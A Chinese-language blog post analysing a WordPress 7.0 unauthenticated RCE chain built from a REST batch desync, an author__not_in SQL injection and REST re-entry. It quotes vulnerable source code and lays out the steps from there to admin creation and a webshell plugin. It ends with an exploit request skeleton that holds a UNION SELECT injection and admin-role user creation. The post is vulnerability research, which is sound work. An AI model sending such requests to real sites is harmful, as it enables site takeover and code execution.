Wordpress7.0 wp2shell 未授权RCE(CVE-2026-63030 / CVE-2026-60137)

· 2026-07-24 15:59 · 3 阅读

原创 LoRexxar 2026-07-24 15:59 北京

2026年了,在AI时代下总感觉什么都有可能,但是看到Wordpress居然能有原生未授权RCE还是感觉不可思议。Wordpress算是我曾经深度研究过的php源码之一,虽然wp架构复杂但是开发习惯很好,封装也比较严格,尤其是对权限的分割都做得很好,在5.0之后我一直认为wp不太可能出未授权的大漏洞了。

但很快,这个漏洞的挖掘者通过两个漏洞的组合就实现了这不可思议的一幕。

据说作者用AI完成了这个漏洞挖掘,并获得了50w刀的赏金。

接下来我们就古法分析一下这个漏洞具体是怎么回事。

漏洞组合拳?

这次的漏洞严格意义上并不是以RCE为目的的漏洞,一共有三个组成,其中两个分配了CVE

  • CVE-2026-63030:REST API 批量请求路由混淆漏洞
  • CVE-2026-60137WP_Query 的 author__not_in SQL 注入漏洞
  • REST重入漏洞,导致管理员权限绕过,这个漏洞没有被分配CVE,但是修复了

而这三个漏洞能够最终构成RCE,有一个很大的原因就是,wp对超级管理员的权限给的很高,在超级管理员的后台你可以轻松的实现RCE利用。

所以与其说我们要在wp中寻找RCE,不如说我们的目标是找到如何进入后台的方法。

CVE-2026-63030 REST API 批量请求路由混淆漏洞

WordPress 的 WP_REST_Server::serve_batch_request_v1()

处理 /wp-json/batch/v1 批量请求时,内部维护了两个数组:

  • $validation:存储每个子请求的验证结果
  • $matches:存储每个子请求匹配到的路由

当某个子请求验证失败,错误就会写入$validation ,但是不会写入$matches

这就导致这两个数组的偏移会不一致

foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
        $validation[] = $single_request;  // 错误对象推入 $validation 数组
        continue; // BUG: 未向 $matches 数组推入对应条目,导致索引偏移
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;  // 仅成功请求推入 $matches 数组
    // ...
}

这样一来,攻击者就可以构造多次请求,先触发is_wp_error验证触发错误跳过,然后相应请求的参数就会被写入到match。

下一次请求重新读取match,由于match多了一个元素,偏移变了,会直接读取上一次的请求参数,就可以把恶意参数绕过检查直接代入到请求中。

听起来好像不知道具体有什么用?

那首先你要知道这个接口具体是干嘛的,为什么需要通过这种方式绕过。

WordPress 的 /wp-json/batch/v1 是一个合法的批量请求接口

// 一次 HTTP 请求里打包多个 REST API 调用
POST /wp-json/batch/v1
{
  "requests": [
    {"path": "/wp/v2/posts/1", "method": "GET"},
    {"path": "/wp/v2/posts/2", "method": "GET"},
    {"path": "/wp/v2/users/me", "method": "GET"}
  ],
  "validation": "require-all-validate"
}

比如说编辑器保存文章,点击保存,需要同时更新文章,修改分类,上传文件,通过这个接口就可以用一次请求触发多次请求完成目标。

由于这个接口本身就是前端功能之一,所以本身没有鉴权,所以第一步触发就不需要任何权限。

当然这不意味着通过这个接口就可以越权发起后台请求,因为你发送的每一条path,都会独立执行一遍路由匹配,权限检查,参数检查,然后才会发起请求。

在正常的流程中,后续会对参数做校验和检查

if ( ! $error ) {
    $check_required = $single_request->has_valid_params();   
// 类型检查
    if ( is_wp_error( $check_required ) ) {
        $error = $check_required;
    }
}
if ( ! $error ) {
    $check_sanitized = $single_request->sanitize_params();   
}

而通过这个漏洞,match获取和实际的参数不一致,在校验参数的时候就无法对应获取参数内容做检查,就绕过了参数过滤和限制。

总的来说,CVE-2026-63030REST API的路由混淆其实较真的话只能算一个bug,因为它并不能直接造成危害,但却是难得的漏洞入口。

CVE-2026-60137:WP_Query SQL 注入

WP_Query 的 author__not_in 参数

如果为数组,则会遍历每个元素,并使用absint做处理,转为整数。

如果为字符串,则会直接被拼接到SQL语句当中

//wp-includes/class-wp-query.php  2399–2405
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    // BUG: 当值为标量(非数组)时,跳过 absint() 消毒,直接拼接进 SQL
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

这个漏洞非常简单粗暴,但是为什么无法利用呢?

因为你直接请求WP_Query注入,Rest请求走到参数检查的位置会触发检查和过滤,这也是我在开篇提到过的,为什么wp很难出高危漏洞,就是因为wp的编码习惯和全局安全处理做的非常好。

就比如这里正常的请求逻辑中,我们需要注入的参数author__not_in,在参数的类型定义中要求必须是数组,也就无法绕过后续的逻辑

// class-wp-rest-request.php
// schema 定义:
'author_exclude' => [
    'description' => '排除指定作者的文章',
    'type'        => 'array',          // ← 要求是数组
    'items'       => [
        'type' => 'integer',           // ← 每项要求是整数
    ],
    'default'     => [],
]

那么我们必须使用前面的路由混淆漏洞,避免对于参数类型检查,就可以成功实现字符串的拼接输入。

接下来呢?

前面说了,路由混淆漏洞本质上来说其实算一个bug,毕竟他不能提高你的权限。

绕过了参数检查之后,顺利触发了WP_Query的SQL注入漏洞。

但是问题依旧没有完全解决,SQL注入如何让我们获取超级管理员权限呢?毕竟union不能内联insert插入数据,仅仅靠查询语句无法真正进入后台。那么就需要一些更复杂的Wordpress特性了。

  • Wordpress缓存污染

WP_Query 将数据库查询结果行转换为 WP_Post 对象,并触发 WordPress 的请求本地对象缓存机制。

也就是说,其实我们并不是需要通过SQL注入来获取数据的什么内容。

而是通过SQL注入来控制数据库的返回

// WP_Query 执行完 SQL 后
$results = $wpdb->get_results( $sql );  // SQL 注入影响这里返回什么
// 把结果变成 WP_Post 对象,存入内存缓存
foreach ( $results as $row ) {
    $post = new WP_Post( $row );
    wp_cache_set( $post->ID, $post, 'posts' );  // ← 写入内存缓存
}

但是将内容写入到缓存,又有什么用呢?

  • oEmbed Write Bridge

oEmbed 是一个嵌入内容的标准协议。当你在 WordPress 编辑器里粘贴一个链接,它自动变成可预览的嵌入卡片。

在编辑文章的时候,当用户输入链接,WordPress 调用 oEmbed API 获取元数据,然后会把对应的内容存入内存,这样下次访问就不用在请求了,而是访问缓存读取对应的内容。

那听起来oEmbed应该是一次性请求?

实际上,缓存会过期,就好像你嵌入的网站内容标题封面都会更换,所以oEmbed本身支持缓存刷新机制。

// wp-includes/class-wp-embed.php
// 第 263-267 行:get_post() 从缓存返回被污染的对象
$cached_post = get_post( $cached_post_id ); // 可能来自被污染的对象缓存
$cache      = $cached_post->post_content;
// 第 332-339 行:wp_update_post() 将稀疏更新与被污染的"原始值"合并
if ( $cached_post_id ) {
    wp_update_post(
        wp_slash( array(
            'ID'           => $cached_post_id,
            'post_content' => $html,  // 仅提交 ID + content,其他字段从被污染缓存合并
        ))
    );
}

通过这个机制,内存中的数据被二次写入数据库中。

虽然但是这种写入并不是说我可以向数据库的任何表写入任何数据,他还是会写入到wp_posts表中,无法直接控制user表。

这涉及到了wp的另一个机制。

  • Customizer 临时切换管理员身份

Customizer 在保存设置时临时将当前用户切换为 changeset 的原始创建者。如果 changeset 是由管理员创建的,当前请求将临时获得管理员身份。

// wp-includes/class-wp-customize-manager.php
$original_user_id = get_current_user_id();
foreach ( $changeset_setting_ids as $setting_id ) {
    $setting = $this->get_setting( $setting_id );
    if ( $setting ) {
        // 临时切换到 changeset 的原始作者(可能是管理员)
        if ( isset( $setting_user_ids[ $setting_id ] ) ) {
            wp_set_current_user( $setting_user_ids[ $setting_id ] );
        } else {
            wp_set_current_user( $original_user_id );
        }
        $setting->save(); // 此处可触发嵌套的 REST dispatch
    }
}
wp_set_current_user( $original_user_id );

正常来说,这是一个正常的功能,因为changeset根本就没有控制创建者的方式,为了统一权限,内部请求本身会遇到权限限制,那就必须加入权限的切换,否则正常功能无法运行。

但其实这里即便是临时切换管理员,我们也无法做任何控制,关键在于下一步。

此时触发文章保存,除了以上的刷新以外,就会再次触发parse_request的hook,再次发起REST请求解析(前面说过这本身就是批量请求这个接口的原场景)

add_action( 'parse_request', 'rest_api_loaded' );

并且在后续的请求中,复用了刚才的状态,也就是被设置为管理员权限的batch

public function is_dispatching() {
    return (bool) $this->dispatching_requests;
}

再次触发REST之后,会重新按照请求再次解析一遍依次执行,但这个时候你已经是管理员权限了,所以可以执行管理员的请求。

重入的 serve_request()
  → dispatch()
    → match_request_to_handler("/batch/v1") → batch handler
    → serve_batch_request_v1() ← 整个外层 batch 重新跑
        → 外层[0] "http://:" → ERROR → 跳过
        → 外层[1] /wp/v2/posts → desync → batch handler
            → 读 body.requests → 内层 batch 重新跑
                → 内层[0] "http://:" → ERROR → 跳过
                → 内层[1] /wp/v2/widgets → SQL 注入(这次无所谓)
                → 内层[2] /wp/v2/posts → 触发 post 处理
                → 内层[3] /wp/v2/users → 管理员身份 → 201 ✅ 创建管理员!
                → 内层[4] /wp/v2/users → 管理员身份 → 201 ✅

在7.0.2中,当dispatch激活,加载器会提前返回,重入递归不会再进行下去,漏洞就无法利用了

// WordPress 7.0.2 — simplified.
if ( $this->is_dispatching() ) {
    return false;
}

通过这种方式,我们就可以实现管理员权限的任意REST API调用。

那最终我们在调用创建管理员的API创建超级管理员,后续利用就顺理成章了。

整个流程

攻击者(无需认证)
    │
    ▼
[Step 1] 发送 REST 批处理请求
         POST /wp-json/batch/v1
         包含3个子请求:错误请求 + oEmbed + 恶意查询
    │
    ▼
[Step 2] Batch Handler 去同步化(CVE-2026-63030)
         $requests[0] 错误 → 跳过但 $matches 未补位
         索引偏移导致路由混乱
    │
    ▼
[Step 3] 恶意标量值绕过消毒
         路由混乱将 unsanitized 标量送入 WP_Query
         author__not_in 参数未经 absint() 处理
    │
    ▼
[Step 4] SQL 注入(CVE-2026-60137)
         标量值直接拼接进 SQL 语句
         构造 UNION SELECT 注入恶意数据
    │
    ▼
[Step 5] 污染 WP_Post 内存缓存
         SQL 注入结果被缓存为 WP_Post 对象
         攻击者控制 post_content 等字段
    │
    ▼
[Step 6] oEmbed 刷新 + wp_update_post() 持久化
         oEmbed 处理器从缓存读取被污染的对象
         wp_update_post() 仅提交 ID + content
         其他字段从被污染的缓存"原始值"合并
         污染数据写入数据库
    │
    ▼
[Step 7] 层级修复(Hierarchy Repair)
         wp_update_post() 触发文章层级关系修复
         产生更多稀疏更新调用,扩大污染范围
    │
    ▼
[Step 8] Customizer 临时切换管理员身份
         class-wp-customize-manager.php 第 3569-3589 行
         wp_set_current_user() 切换到 changeset 作者(管理员)
    │
    ▼
[Step 9] 动态 Hook 碰撞 → REST 重入
         Customizer 的 setting->save() 触发 parse_request hook
         嵌套的 REST dispatch 继承管理员身份
         WP_REST_Server::is_dispatching() 未阻断重入
    │
    ▼
[Step 10] 以管理员身份创建管理员账户
          嵌套 REST dispatch 使用管理员身份
          调用 user creation API 创建新管理员
    │
    ▼
[Step 11] 安装恶意插件 → 任意代码执行
          攻击者使用新管理员账户登录
          上传包含 PHP webshell 的插件
          实现完整的远程代码执行

最后整个利用请求大概长这样

POST /?rest_route=/batch/v1 HTTP/1.1
Content-Type: application/json
{
  "requests": [
    {"method": "POST", "path": "http://:"},
    {
      "method": "POST",
      "path": "/wp/v2/posts",
      "body": {
        "requests": [
          {"method": "GET", "path": "http://:"},
          {"method": "GET", "path": "/wp/v2/widgets?author_exclude=1)+AND+1=0+UNION+ALL+SELECT+..."},
          {"method": "GET", "path": "/wp/v2/posts"},
          {"method": "POST", "path": "/wp/v2/users", "body": {"username":"xxx","roles":["administrator"]}},
          {"method": "POST", "path": "/wp/v2/users", "body": {"username":"xxx","roles":["administrator"]}}
        ]
      }
    },
    {"method": "POST", "path": "/batch/v1"}
  ]
}

其实我觉得这个漏洞最精巧的点有两个

第一是在SQL注入没有太多价值的情况下,通过控制SQL返回来完成后续利用条件,这个思路很妙,以前遇到过但是大多数都是类似于二次注入的场景。

第二是非常巧妙地通过REST重入的漏洞来巧妙的实现提权,实话讲完全没想到这里有个重入问题,因为如果不是重入根本无法实现提权,这个权限分级做的非常死。

在两个非常巧妙的漏洞结合下,实现了几乎最不可能的wp漏洞利用,这种超强的思维拓展,应该算是ai非常优秀的一个场景了

跳转微信打开